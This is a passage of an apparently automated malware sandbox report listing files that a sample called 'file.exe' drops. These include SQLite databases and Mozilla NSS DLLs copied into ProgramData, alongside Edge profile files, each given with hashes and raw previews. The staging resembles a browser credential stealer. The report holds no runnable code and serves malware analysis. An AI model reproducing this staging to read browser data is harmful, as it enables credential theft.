SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HCBGDGCAAKJEBFIDBAAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEBAAFCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJJJKFII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\28589005-1183-47d2-b399-825b2e2be116.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089768895221765
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPM7kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynSkkzItSmd6qE7lFoC
MD5:	2DAB507A248B9DD7FC3526B7C25FDDF8
SHA1:	AA669FCB1E800763F992E2E32895205D4AC3E1D7
SHA-256:	F1BBD01EC888D74A4ED1C676142AC6F6D91EE8A7FA8761B326F7DB65B5339661
SHA-512:	B6E81362E933C24275122BF608582361C4279CBDC9775DFC437ACE9673502D9C2B673076F1B3F985E57E7FEAC61D38EEC56ABABE8891DBD1E69AB276E9BAC56A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\57d1802f-f648-4e7b-a4c0-a87064052eed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44906
Entropy (8bit):	6.095219654725421
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWYqi1zNtPkNAg3DZEDGDKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynobKtSmd6qE7lFoC
MD5:	9B24B41AAA140A7302C57A058D9FFA08
SHA1:	C47BC7B3A0B4FCC678C277E88284F41A2A5A207B
SHA-256:	488EDF261E4012274B5B982E4AEE15A2906079EC1EEC115D2A448183CDB76BCB
SHA-512:	E46187EE135C433FB403202FB6215952902C5414DAA3E213ACC2E353DFABF5CAB9F5D2721DBBBDF96BD4818C9B082CD6E29B63214F59859F7D259FE04C3B25BD
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\639e0c1e-faed-4e9a-a8df-32af8734ff55.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44929
Entropy (8bit):	6.095183619410537
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW+qi1zNtPk922HYbjGFtKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yns1KtSmd6qE7lFoC
MD5:	5E4F02511126D8C2DD2CB11DB3420A4F
SHA1:	48540E213F9E9FE3F20E52607869694322114FD5
SHA-256:	6D5796F2903506EB2DBDDBE7F13574CA5A135A3ED5F5EAE3A72C21165B2E7CD3
SHA-512:	B153CE5CFB6625157B00CFCF77D9CC76F680DFBE3CB5968EDAEC12E3A2469C00C0F14934BC65E4A2EDED2E596DF2ECDA2D3F782E40B046F8724AB83184DD278A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\99f8a861-0fdb-4bf9-b0ee-9717acfa17b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44929
Entropy (8bit):	6.095183619410537
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW+qi1zNtPk922HYbjGFtKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yns1KtSmd6qE7lFoC
MD5:	5E4F02511126D8C2DD2CB11DB3420A4F
SHA1:	48540E213F9E9FE3F20E52607869694322114FD5
SHA-256:	6D5796F2903506EB2DBDDBE7F13574CA5A135A3ED5F5EAE3A72C21165B2E7CD3
SHA-512:	B153CE5CFB6625157B00CFCF77D9CC76F680DFBE3CB5968EDAEC12E3A2469C00C0F14934BC65E4A2EDED2E596DF2ECDA2D3F782E40B046F8724AB83184DD278A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6754C0C8-1FF8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04666900473708515
Encrypted:	false
SSDEEP:	192:Ne5E0m5tmsnOAt6YC0JgA8x5XSggykfhbNNETeIX9ERQsZN4Bqn2VwWn8y08TcmQ:wa0Utzc0gk9hZAYL4Q2308T2RGOD
MD5:	95E7EB07DDC4B1F38466F73E1FDF9A79
SHA1:	E66153C2D76115325C7072EA26603F36A32A7C6B
SHA-256:	5C768656A8DEB9F377E7983EB6D08538736B84851D9D3F47042CD45253D9182E
SHA-512:	FA42CBE7392BE0CBB72FCF2694842D4AFC3814CC27162A55B526910E831A871AFF4D02DB59465E858C093727A090031494BF335DDCC877175F29A725129701CB
Malicious:	false
Preview:	...@..@...@.....C.].....@................e...U..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".qpjqgb20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ ...2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089768895221765
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPM7kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynSkkzItSmd6qE7lFoC
MD5:	2DAB507A248B9DD7FC3526B7C25FDDF8
SHA1:	AA669FCB1E800763F992E2E32895205D4AC3E1D7
SHA-256:	F1BBD01EC888D74A4ED1C676142AC6F6D91EE8A7FA8761B326F7DB65B5339661
SHA-512:	B6E81362E933C24275122BF608582361C4279CBDC9775DFC437ACE9673502D9C2B673076F1B3F985E57E7FEAC61D38EEC56ABABE8891DBD1E69AB276E9BAC56A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38dba.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089768895221765
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPM7kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynSkkzItSmd6qE7lFoC
MD5:	2DAB507A248B9DD7FC3526B7C25FDDF8
SHA1:	AA669FCB1E800763F992E2E32895205D4AC3E1D7
SHA-256:	F1BBD01EC888D74A4ED1C676142AC6F6D91EE8A7FA8761B326F7DB65B5339661
